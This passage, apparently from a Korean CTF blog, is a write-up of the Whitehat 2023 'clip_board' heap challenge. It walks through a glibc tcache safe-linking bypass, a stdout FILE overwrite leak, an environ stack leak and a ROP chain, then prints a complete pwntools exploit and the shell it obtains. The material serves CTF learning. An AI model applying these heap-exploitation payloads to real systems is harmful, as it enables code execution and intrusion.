e->key = NULL;
return (void *) e;
}
- 따라서 tcache entry에 연결된 chunk->next를 덮어쓸 때 chunk 주소의 상위 비트와 xor 후 저장해주어야 한다.
target_addr = environ
chunk2_payload = b''
chunk2_payload += b'a' * 0x10
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(target_addr^(chunk3_start>>12)) + p64(chunk3_key)
chunk2_payload += p64(0) + p64(0x61)
(2) stack address leak
- rip control을 위해 stack에 존재하는
main()
함수의 return address overwrite을 목표로 한다. - 이를 위해서는 stack address leak이 선행되어야하므로, libc 내 stack address를 포함하고 있는 environ 전역변수 주변에 chunk를 할당하여 stack address를 leak 한다.
python
# allocate chunk2 with size 0x60 (0x71)
target_addr = environ
chunk2_payload = b''
chunk2_payload += b'a' * 0x10
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(target_addr^(chunk3_start>>12)) + p64(chunk3_key)
chunk2_payload += p64(0) + p64(0x61)
add(5, 0x60, chunk2_payload)
add(2, 0x10, b'c')
tcache status
(0x20) tcache_entry[0](1): 0x7ffff7e221f0
(0x110) tcache_entry[15](1): 0x5555555592d0
(gdb) x/4a 0x7ffff7e221f0
0x7ffff7e221f0 <labels>: 0x0 0x0
0x7ffff7e22200 <environ>: 0x7fffffffe058 0x0
python
add(6, 0x10, b'A') # libc address allocated
print(hex(target_addr))
leaked3 = view(6)
stack_addr = u64(leaked3[0:8])
print('stack_addr : ', hex(stack_addr))
tcache status
(0x20) tcache_entry[0](0): 0x7ffff7e22 (unaligned tcache chunk)
(0x110) tcache_entry[15](1): 0x5555555592d0
2.8. stack memory allocation (return address overwrite)
- stack address까지 획득했으므로, 마지막 rip control을 위해
main()
함수의 return address 주변에 chunk를 할당하고system("/bin/sh")
를 호출한다. - libc 주소는 이미 알고 있기 때문에, libc 내에 있는
system()
함수와"/bin/sh"
문자열을 사용하여system("/bin/sh")
를 호출했다.
python
# allocate chunk2 with size 0x60 (0x71)
chunk2_payload = b''
chunk2_payload += b'a' * 0x10
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(0) + p64(0)
chunk2_payload += p64(0) + p64(0x61)
chunk2_payload += p64(stack_addr^(chunk4_start >> 12)) + p64(chunk3_key)
print(hex(chunk4_start))
add(5, 0x60, chunk2_payload)
last_payload = b''
last_payload += p64(ret) * (0x30 // 8)
last_payload += p64(pop_rdi)
last_payload += p64(binsh)
last_payload += p64(system)
add(1, 0x50, b'good')
tcache status
(0x20) tcache_entry[0](0): 0x7ffff7e22 (unaligned tcache chunk)
(0x60) tcache_entry[4](1): 0x7fffffffdf30 --> 0x7fffffffc (unaligned tcache chunk)
(0x110) tcache_entry[15](1): 0x5555555592d0
python
add(7, 0x50, last_payload)
stack memory status
0x7fffffffeda0: 0x7ffff7d1499a 0x7ffff7d1499a
0x7fffffffedb0: 0x7ffff7d1499a 0x7ffff7d1499a
0x7fffffffedc0: 0x7ffff7d1499a 0x7ffff7d1499a
0x7fffffffedd0: 0x7ffff7c2a3e5 0x7ffff7dd8698
0x7fffffffede0: 0x7ffff7c50d60 0x0
2.9. return
- 마지막으로 rip 컨트롤을 위해
main()
함수가 return 하도록 4번 메뉴인 exit 기능을 사용한다.
python
def finish():
ru(b'> ')
ss(b'4')
finish()
s.interactive()
3. Exploit
3.1. exploit.py
- 전체 exploit 코드는 아래와 같다.
#!/usr/bin/python
from pwn import *
def add(idx, size, content):
ru(b'> ')
ss(b'1')
ru(b'index > ')
ss(str(idx).encode())
ru(b'size > ')
ss(str(size).encode())
ru(b'contents > ')
ss(content)
def delete(idx):
ru(b'> ')
ss(b'2')
ru(b'index > ')
ss(str(idx).encode())
def view(idx):
ru(b'> ')
ss(b'3')
ru(b'index > ')
ss(str(idx).encode())
res = ru(b'1. Add clipboard').replace(b'1. Add clipboard', b'')
return res
def reset_stdout_ptr():
add(9, 255, b'asdf')
delete(9)
def finish():
ru(b'> ')
ss(b'4')
libc = ELF('./libc.so.6')
s = process('./clip_board', env={'LD_PRELOAD':'./libc.so.6'})
#s = remote('43.201.64.101', 8888)
ru = s.recvuntil
rr = s.recv
rl = s.recvline
ss = s.send
sl = s.sendline
ru(b'heap leak: ')
heap_leak = int(rl().strip(), 16)
add(1, 255, b'asdf')
add(-5, 255, b'asdf')
leaked = view(-4)
libc_base = u64(leaked[8:16]) - 0x21a803
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
tcache_key = libc_base + 0x2204d8
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
environ = libc_base + 0x221200
main_arena = malloc_hook + 0x10
ret = libc_base + 0x11499a
print('main_arena : ', hex(main_arena))
print('malloc_hook : ', hex(main_arena))
print('heap_leak : ', hex(heap_leak))
print('libc_base : ', hex(libc_base))
print('_IO_file_jumps : ', hex(io_file_jumps))
print('environ: ', hex(environ))
delete(1)
reset_stdout_ptr()
add(4, 0x10, b'a') # chunk1
add(5, 0x10, b'bbbbbbbbA') # chunk2
add(6, 0x10, b'ccccccccA') # chunk3
add(7, 0x10, b'ddddddddA') # chunk4
chunk1_start = heap_leak+0x250
chunk2_start = chunk1_start + 0x20
chunk3_start = chunk2_start + 0x20
chunk4_start = chunk2_start + 0x40
def stdout_overwrite(target_addr, target_size):
payload = b''
payload += p64(0xFBAD0000)
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_ptr
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_end
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_base
payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_base
payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_ptr
payload += p64(target_addr+target_size)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_end
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_buf_base
payload += p64(libc_base + (0x7f53dac1a804 - 0x00007f53daa00000)) # _IO_buf_end
payload += p64(0) # _IO_save_base
payload += p64(0) # _IO_backup_base
payload += p64(0) # _IO_save_end
payload += p64(0) # _IO_marker
payload += p64(libc_base + (0x7f53dac19aa0 - 0x00007f53daa00000)) # _IO_chain
payload += p64(1) # _fileno
payload += p64(0xffffffffffffffff) # _old_offset
payload += p64(0xa000000)
payload += p64(libc_base + (0x7f53dac1ba70-0x00007f53daa00000)) # lock
payload += p64(0xffffffffffffffff)
payload += p64(0x0)
payload += p64(libc_base + (0x7f53dac199a0 - 0x00007f53daa00000))
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0xffffffff)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(io_file_jumps)
'''
gdb-peda$ x/a &stdout
0x55bc670c1020 <stdout@GLIBC_2.2.5>: 0x7f53dac1a780 <_IO_2_1_stdout_>
gdb-peda$ x/50a 0x7f53dac1a780
0x7f53dac1a780 <_IO_2_1_stdout_>: 0xfbad2887 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a790 <_IO_2_1_stdout_+16>: 0x7f53dac1a803 <_IO_2_1_stdout_+131> 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a7a0 <_IO_2_1_stdout_+32>: 0x7f53dac1a803 <_IO_2_1_stdout_+131> 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a7b0 <_IO_2_1_stdout_+48>: 0x7f53dac1a803 <_IO_2_1_stdout_+131> 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a7c0 <_IO_2_1_stdout_+64>: 0x7f53dac1a804 <_IO_2_1_stdout_+132> 0x0
0x7f53dac1a7d0 <_IO_2_1_stdout_+80>: 0x0 0x0
0x7f53dac1a7e0 <_IO_2_1_stdout_+96>: 0x0 0x7f53dac19aa0 <_IO_2_1_stdin_>
0x7f53dac1a7f0 <_IO_2_1_stdout_+112>: 0x1 0xffffffffffffffff
0x7f53dac1a800 <_IO_2_1_stdout_+128>: 0xa000000 0x7f53dac1ba70 <_IO_stdfile_1_lock>
0x7f53dac1a810 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0
0x7f53dac1a820 <_IO_2_1_stdout_+160>: 0x7f53dac199a0 <_IO_wide_data_1> 0x0
0x7f53dac1a830 <_IO_2_1_stdout_+176>: 0x0 0x0
0x7f53dac1a840 <_IO_2_1_stdout_+192>: 0xffffffff 0x0
0x7f53dac1a850 <_IO_2_1_stdout_+208>: 0x0 0x7f53dac16600 <_IO_file_jumps>
gdb-peda$ vmmap libc
Start End Perm Name
0x00007f53daa00000 0x00007f53daa28000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53daa28000 0x00007f53dabbd000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53dabbd000 0x00007f53dac15000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53dac15000 0x00007f53dac19000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53dac19000 0x00007f53dac1b000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
'''
add(-4, len(payload), payload)
reset_stdout_ptr()
stdout_overwrite(chunk1_start - 8, 1) # chunk1->size = 0x31
print('overwrite heap chunk', hex(chunk1_start - 8))
add(2, 0x10, b'dummy') # chunkx
# chunk1 to tcache (size : 0x31)
delete(4)
# overwrite chunk2 header
chunk1_overflow = b'a'*0x10 + p64(0) + p64(0x71)
add(4, 0x20, chunk1_overflow)
delete(2) # dummy (for tcache count)
delete(6)
# chunk2 to tcache (size : 0x71)
delete(5)
# allocate chunk2 with size 0x60 (0x71)
chunk2 = b'b'
add(5, 0x60, chunk2)
leaked2 = view(5)
chunk3_enc_ptr = u64(leaked2[0x20:0x28])
chunk3_key = u64(leaked2[0x28:0x30])
chunk3_dec_ptr = (chunk3_start >> 12) ^ chunk3_enc_ptr
print('chunk3_enc_ptr', hex(chunk3_enc_ptr))
print('chunk3_key', hex(chunk3_key))
print('chunk3_dec_ptr', hex(chunk3_dec_ptr))
# chunk2 to tcache again (size : 0x71)
delete(5)
# dummy
add(3, 0x50, b'dummy')
# allocate chunk2 with size 0x60 (0x71)
target_addr = environ - 0x10
chunk2_payload = b''
chunk2_payload += b'a' * 0x10
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(target_addr^(chunk3_start>>12)) + p64(chunk3_key)
chunk2_payload += p64(0) + p64(0x61)
add(5, 0x60, chunk2_payload)
add(2, 0x10, b'c')
add(6, 0x18, b'A') # libc address allocated
print(hex(target_addr))
leaked3 = view(6)
stack_addr = u64(leaked3[0x10:0x18]) - 0x88 - 0xa0
print('stack_addr : ', hex(stack_addr))
delete(3)
delete(7)
delete(5)
pop_rdi = libc_base + 0x000000000002a3e5
# allocate chunk2 with size 0x60 (0x71)
chunk2_payload = b''
chunk2_payload += b'a' * 0x10
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(0) + p64(0)
chunk2_payload += p64(0) + p64(0x61)
chunk2_payload += p64(stack_addr^(chunk4_start >> 12)) + p64(chunk3_key)
print(hex(chunk4_start))
add(5, 0x60, chunk2_payload)
last_payload = b''
last_payload += p64(ret) * (0x30 // 8)
last_payload += p64(pop_rdi)
last_payload += p64(binsh)
last_payload += p64(system)
add(1, 0x50, b'good')
add(7, 0x50, last_payload)
finish()
s.interactive()
s.close()
3.2. Run
exploit.py
을 실행하면 아래와 같이 문제 서버의 쉘을 획득할 수 있다.
$ python exploit.py
main_arena : 0x7f13dea764b0
malloc_hook : 0x7f13dea764b0
free_hook : 0x7f13dea764a8
heap_leak : 0x558942cb72a0
libc_base : 0x7f13de856000
_IO_file_jumps : 0x7f13dea6c600
environ: 0x7f13dea77200
overwrite heap chunk 0x558942cb74e8
chunk3_enc_ptr 0x558c1a5f5ad7
chunk3_key 0xe98b3a6a24a31296
chunk3_dec_ptr 0x558942cb7660
0x7f13dea77200
stack_addr : 0x7ffd62d2bb41
0x558942cb7550
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /home/ctf/flag
whitehat2023{3ac97da0281ba8e733cac700ba7015604797113b5e147db5f136db166b6d93808ad41a4b56bd1b036b2d7b5c5d9982a6af38fd}
Flag : whitehat2023{3ac97da0281ba8e733cac700ba7015604797113b5e147db5f136db166b6d93808ad41a4b56bd1b036b2d7b5c5d9982a6af38fd}
'CTF > 2023' 카테고리의 다른 글
[CTF][2023] CCE 2023 QUAL - babykernel (0) | 2024.03.18 |
---|---|
[CTF][2023] CCE 2023 Qual - babyweb_1 (0) | 2024.03.12 |
[CTF][2023] SECCON Qual - selfcet (0) | 2024.03.02 |
[CTF][2023] CTFZone Qual 2023 - dead or alive 2 (0) | 2024.03.02 |